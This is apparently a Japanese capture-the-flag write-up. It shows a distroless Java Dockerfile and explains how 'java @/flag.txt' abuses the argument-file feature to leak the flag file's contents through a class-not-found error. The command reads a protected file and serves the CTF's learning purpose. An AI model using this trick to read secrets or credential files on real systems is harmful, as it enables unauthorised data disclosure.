Dockerfile の後半
# java のコンパイルを行う
FROM gcr.io/distroless/java25-debian13:debug@sha256:59a02af2fb174d3617f4757a9bb6ee3d56c0ee00d901b48ad7b880b5a58f2aae AS build
COPY Server.java /src/
RUN ["/usr/bin/java", "-m", "jdk.compiler/com.sun.tools.javac.Main", "/src/Server.java"]
# 実行ファイルをコピーする
FROM gcr.io/distroless/java25-debian13@sha256:73f2263db8defa233004a7c700fd81e25c8747a530c413bddf74367b68663468
COPY --from=build /src/Server.class /app/
COPY flag.txt /flag.txt
ENTRYPOINT ["/usr/bin/java", "-cp", "/app", "Server"]
distroless には ls も busybox もないbin/ 直下のファイルを全部見てみる
javajfrjrunscriptjwebserverkeytoolrmiregistry@ は argument file と呼ばれる。ファイルを読み込んでcliの引数に入れてくれるjava [クラス] で [クラス] を実行することができそうであるjava @/flag.txt とすると java の引数に /flag.txt の内容が入る/usr/bin/java @/flag.txt
Error: Could not find or load main class Alpaca{REDACTED}